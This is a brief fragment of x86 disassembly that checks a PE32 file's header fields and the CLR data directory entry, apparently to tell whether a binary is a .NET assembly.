jne 0x406936
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406936
cmp dword [ecx + 0x74], 0xe
jbe 0x406936
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret